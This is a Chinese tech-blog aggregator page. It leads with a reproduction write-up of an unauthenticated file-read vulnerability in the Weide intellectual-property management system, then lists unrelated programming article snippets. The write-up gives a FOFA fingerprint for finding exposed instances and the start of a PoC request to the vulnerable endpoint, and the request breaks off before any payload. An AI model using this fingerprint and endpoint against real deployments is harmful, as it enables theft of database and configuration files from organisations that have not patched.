当前位置： 首页 > news >正文

唯徳知识产权管理系统 DownloadFileWordTemplate 文件读取漏洞复现

news 2026/4/4 8:13:54

0x01 产品简介

唯徳知识产权管理系统，由深圳市唯德科创信息有限公司精心打造，旨在为企业及代理机构提供全方位、高效、安全的知识产权管理解决方案。该系统集成了专利、商标、版权等知识产权的全面管理功能，并通过云平台实现远程在线办公，提升工作效率。是一款集知识产权申请、管理、维护、分析于一体的综合性管理平台。它覆盖了从项目挖掘、提案评审、案件管理、代理协同、费用管理到期限管理等各个环节，实现了知识产权业务的全流程电子化、智能化管理。

0x02 漏洞概述

唯徳知识产权管理系统 DownloadFileWordTemplate 接口存在文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

0x03 复现环境

FOFA：

body="JSCOMM/language.js"

0x04 漏洞复现

PoC

POST /AutoUpdate/WSFM.asmx HTTP/1.1
Host: 
Content-Type: text/xml; charset=utf-8
Cont

相关文章：

唯徳知识产权管理系统 DownloadFileWordTemplate 文件读取漏洞复现

0x01 产品简介 唯徳知识产权管理系统，由深圳市唯德科创信息有限公司精心打造，旨在为企业及代理机构提供全方位、高效、安全的知识产权管理解决方案。该系统集成了专利、商标、版权等知识产权的全面管理功能，并通过云平台实现远程在线办公，提升工作效率。是一款集知识产权申…...

编程日记 2024/9/17 4:27:36

我在高职教STM32——准备HAL库工程模板（2）

新学期已开始，又要给学生上 STM32 嵌入式课程了。这课上了多年了，一直用的都是标准库来开发，已经驾轻就熟了。人就是这样，有了自己熟悉的舒适圈，就很难做出改变，老师上课也是如此，排斥新课和不熟悉的内容。显然，STM32 的开发，HAL 库已是主流，自己其实也在使用，只不过…...

编程日记 2024/9/17 4:25:31

数字化转型的实战法则：全面剖析《数字化专业知识体系》中的落地策略与最佳实践

开启数字化成功的实践路径 随着全球经济加速迈向数字化，企业不再仅仅依赖传统商业模式，而是通过技术创新提升竞争力与市场地位。然而，数字化转型的成功不仅依赖于战略思维，更需要精准的实战执行。《数字化专业知识体系》&#xf…...

编程日记 2024/9/17 4:24:27

远程桌面内网穿透是什么？有什么作用？

远程桌面内网穿透指的是通过特定技术手段，将处于内网中的电脑或服务器，通过外部网络（互联网）进行访问。内网穿透的主要作用是解决在内网环境下，远程设备与外部互联网之间的连接问题，允许用户从外部访问内网…...

编程日记 2024/9/17 4:23:25

【算法专场】分治（上）

目录 前言 什么是分治？ 75. 颜色分类 算法分析 算法步骤 算法代码 912. 排序数组 - 力扣（LeetCode） 算法分析 算法步骤 算法代码 215. 数组中的第K个最大元素 - 力扣（LeetCode） 算法分析 算法步骤 ​编辑…...

编程日记 2024/9/17 4:21:13

腾讯云软件工程师面试问题收集记录-数据库

SQL是什么：结构化查询语言，是一种专门用于管理关系型数据库管理系统的编程语言 MySQL操作命令 数据库操作 登陆数据库：mysql -u 用户面 -p创建数据库：CREATE DATABASE testdb; SQLite操作命令 数据库操作 创建数据库：…...

编程日记 2024/9/17 4:19:44

Sourcetree安装教程及使用

下载链接：源代码树 |适用于 Mac 和 Windows 的免费 Git GUI (sourcetreeapp.com) Sourcetree安装教程及使用_sourcetree 安装使用-CSDN博客...

编程日记 2024/9/17 4:17:30

TryHackMe 第1天 | Introduction to Cyber Security

偶然之间了解到了TryHackMe这个网站，尝试跟着其中的学习路径进行学习，发现还是挺适合入门网络安全这一领域的。但是这个网站包含了很多内容，如果不用一些东西记录下来，那么很容易忘记，所以打算在此记录一下学习过程。 …...

编程日记 2024/9/17 4:16:29

ASP.NET MVC 迅速集成 SignalR

在现代 Web 应用程序中，实时更新数据是一个常见需求。本文将详细介绍如何在 ASP.NET MVC 项目中使用 SignalR 实现定时任务操作数据库并将数据更新到网页。我们将逐步讲解如何配置 SignalR、创建定时任务、操作数据库以及在前端显示实时数据。 目录 项目初始化安装…...

编程日记 2024/9/17 4:15:27

[数据集][目标检测]葡萄成熟度检测数据集VOC+YOLO格式1123张3类别

数据集格式：Pascal VOC格式YOLO格式(不包含分割路径的txt文件，仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)：1123 标注数量(xml文件个数)：1123 标注数量(txt文件个数)：1123 标注…...

编程日记 2024/9/17 4:11:22

【Python 数据分析学习】Matplotlib 的基础和应用

题目 1 Matplotlib 主要特性2 Matplotlib 基础知识2.1 导入模块2.2 图形构成2.2.1 图形（Figure）2.2.2 轴 （Axes）2.2.3 轴线（axis） 2.5 中文设置2.5.1 借助rcParams修改字体实现设置2.5.2 增加一个fontprope…...

编程日记 2024/9/17 4:09:20

HarmonyOS应用开发者基础认证

目录 一、判断二、单选三、多选 一、判断 1、HarmonyOS提供了基础的应用加固安全能力，包括混淆、加密和代码签名能力。正确 2、可以通过ohpm uninstall 指令下载指定的三方库。错误 3、支持模块化开发是指一个应用通常会包含多种功能，将不同的功能特性…...

编程日记 2024/9/17 4:08:18

gin基本使用

中文文档:https://gin-gonic.com/zh-cn/docs/ 下载和安装gin模块 go get -u github.com/gin-gonic/gin简单接口demo package mainimport "github.com/gin-gonic/gin"func main() {r := gin.Default() // 创建一个默认的路由引擎r.GET("/pin…...

编程日记 2024/9/17 4:06:15

【VUE】pinia持久化存储

前言：状态持久化存储的意义在于它能够确保用户在与应用程序交互时，其操作状态、用户偏好、应用数据等关键信息在页面刷新、浏览器关闭或重新启动后依然得以保留，从而提供连贯、无缝的用户体验，避免因状态丢失导致的不便和重复操作…...

编程日记 2024/9/17 3:59:08

【Java基础】泛型

文章目录 泛型一、概述二、泛型的使用1、类2、方法3、接口 三、泛型通配符1、<?>2、<? extends T>3、<? super T> 四、泛型的擦除1、泛型的擦除2、泛型边界的擦除3、无法实例化泛型类型 泛型 一、概述 泛型&#xff08;Generic&#xff09;是一种机制&a…...

编程日记 2024/9/17 3:58:06

STL-vector练习题

118. 杨辉三角 思路&#xff1a; 杨辉三角有以下性质使我们要用到的&#xff1a; ● 每行数字左右对称&#xff0c;由 1 开始逐渐变大再变小&#xff0c;并最终回到 1。 ● 第 n 行&#xff08;从 0 开始编号&#xff09;的数字有 n1 项&#xff0c;前 n 行共有 2n(n1)个数。…...

编程日记 2024/9/17 3:54:01

Leetcode 165. 比较版本号（Medium）

给你两个 版本号字符串 version1 和 version2 &#xff0c;请你比较它们。版本号由被点 . 分开的修订号组成。修订号的值 是它 转换为整数 并忽略前导零。 比较版本号时&#xff0c;请按 从左到右的顺序 依次比较它们的修订号。如果其中一个版本字符串的修订号较少&#xff0c…...

编程日记 2024/9/17 3:52:50

Android 12 Launcher3 去掉Hotseat

1.概述 在12.0 产品定制化开发中 由产品需求Launcher3 页面布局的原因&#xff0c;要求Launcher3 需要去掉Hotseat 不显示Hotseat下面几个图标&#xff0c;而做满屏app的显示&#xff0c;从而达到美观的效果&#xff0c;下面就来分析去掉Hotseat从而实现这个功能 2.Launcher3 …...

编程日记 2024/9/17 3:48:52

Nginx实用篇：实现负载均衡、限流与动静分离

Nginx实用篇&#xff1a;实现负载均衡、限流与动静分离 | 原创作者/编辑&#xff1a;凯哥Java | 分类&#xff1a;Nginx学习系列教程 Nginx 作为一款高性能的 HTTP 服务器及反向代理解决方案&#xff0c;在互联网架构中扮演着至关重要的角色。它…...

编程日记 2024/9/17 3:47:44

python | Python中的类多态：方法重写和动态绑定

本文来源公众号“python”&#xff0c;仅用于学术分享&#xff0c;侵权删&#xff0c;干货满满。 原文链接&#xff1a;Python中的类多态&#xff1a;方法重写和动态绑定 多态&#xff08;Polymorphism&#xff09;是面向对象编程的核心特性之一&#xff0c;它允许同一接口在…...

编程日记 2024/9/17 3:46:43

CPS实战：如何用树莓派+传感器搭建你的第一个信息物理系统（附代码）

CPS实战&#xff1a;如何用树莓派传感器搭建你的第一个信息物理系统&#xff08;附代码&#xff09; 信息物理系统&#xff08;CPS&#xff09;听起来像是高科技实验室里的复杂装置&#xff0c;但实际上&#xff0c;你完全可以用手边的树莓派和几十元的传感器搭建一个功能完整的…...

编程新知 2026/4/4 7:31:59

Linux文件传输利器SCP命令使用详解与实战技巧

在Linux系统管理和运维中&#xff0c;文件传输是日常高频操作之一。无论是本地与远程服务器之间的数据同步&#xff0c;还是跨服务器直接传输文件&#xff0c;scp&#xff08;Secure Copy Protocol&#xff09;都是最常用的工具之一。它基于SSH协议&#xff0c;提供加密传输能力…...

编程新知 2026/4/4 6:53:46

GTE+SeqGPT部署教程：Windows WSL2环境下GTE+SeqGPT全链路运行指南

GTESeqGPT部署教程&#xff1a;Windows WSL2环境下GTESeqGPT全链路运行指南 想自己动手搭建一个能“理解”你问题、还能“回答”你的AI小助手吗&#xff1f;今天&#xff0c;我们就来玩点实在的——在Windows电脑上&#xff0c;通过WSL2&#xff08;Windows Subsystem for Lin…...

编程新知 2026/4/4 6:27:42

GLM-4.1V-9B-Base零基础入门：5分钟学会上传图片智能问答

GLM-4.1V-9B-Base零基础入门&#xff1a;5分钟学会上传图片智能问答 1. 认识GLM-4.1V-9B-Base GLM-4.1V-9B-Base是智谱开源的一款视觉多模态理解模型&#xff0c;专门用于处理图像内容识别、场景描述和目标问答等任务。与普通聊天模型不同&#xff0c;它专注于视觉理解能力&a…...

编程新知 2026/4/4 4:48:24

图灵奖得主杨立昆公开“手撕”Meta 内部环境：“LLM 吸光了房间里的空气”，物理世界才是 AGI 的终局

来源&#xff1a;AI 科技大本营&#xff08;ID&#xff1a;rgznai100&#xff09;编译&#xff1a;王启隆Sora 死后&#xff0c;生成式视频路线已到头。2026 年 3 月&#xff0c;在新德里的 AI Alliance Global Leadership Reception 上&#xff0c;Christopher Nguyen 邀请到杨…...

编程新知 2026/4/4 4:40:14

告别setData地狱！用miniprogram-computed给你的微信小程序组件加上计算属性

告别setData地狱&#xff01;用miniprogram-computed给你的微信小程序组件加上计算属性 每次在小程序里处理复杂数据联动时&#xff0c;你是不是也经历过这样的痛苦&#xff1f;表单验证状态需要根据三个输入框内容实时更新&#xff0c;购物车总价要随着商品数量和优惠券动态计…...

编程新知 2026/4/4 3:21:32

MTK6737平台LCD驱动移植保姆级教程：从供应商参数到开机Logo的完整避坑指南

MTK6737平台LCD驱动移植实战&#xff1a;从零构建显示系统的关键技术与避坑指南 在嵌入式设备开发中&#xff0c;显示系统作为人机交互的核心组件&#xff0c;其稳定性直接影响用户体验。MTK6737作为主流中端移动处理器平台&#xff0c;广泛应用于各类智能设备&#xff0c;而HX…...

编程新知 2026/4/4 2:59:25

别再只看FLOPs了！从VoVNet的OSA模块看高效网络设计的实战误区

从VoVNet的OSA模块看高效网络设计的实战误区&#xff1a;为什么你的模型跑得比论文慢&#xff1f; 当我们在GitHub上复现一篇顶会论文时&#xff0c;最沮丧的瞬间莫过于&#xff1a;明明FLOPs和参数量完全匹配&#xff0c;实际推理速度却比论文报告值慢了30%。这个问题在部署De…...

编程新知 2026/4/4 2:53:23

哪些降重软件可以同时降低查重率和AIGC疑似率？2026届TOP5硬核评测与选择建议

【CSDN 深度评测 / 突破算法封锁的毕业指南】 近期收到太多在读研究生的私信&#xff1a;“学长&#xff0c;我的论文查重率降到了8%&#xff0c;但教务处系统提示‘AIGC疑似率65%’&#xff0c;被打回重头再来&#xff0c;怎么办&#xff1f;” 在2026年的今天&#xff0c;知网…...

编程新知 2026/4/4 1:42:43

宿主机与虚拟机网络配置打通

Kali 虚拟机网络配置笔记 一、基础网络模式 1. 桥接模式 (Bridged) 目的&#xff1a;让虚拟机加入物理局域网配置&#xff1a; 选择物理网卡&#xff08;非VMnet1/VMnet8&#xff09;启用"复制物理网络连接状态"&#xff08;推荐笔记本用户&#xff09; 结果&#xf…...

编程新知 2026/4/4 1:36:37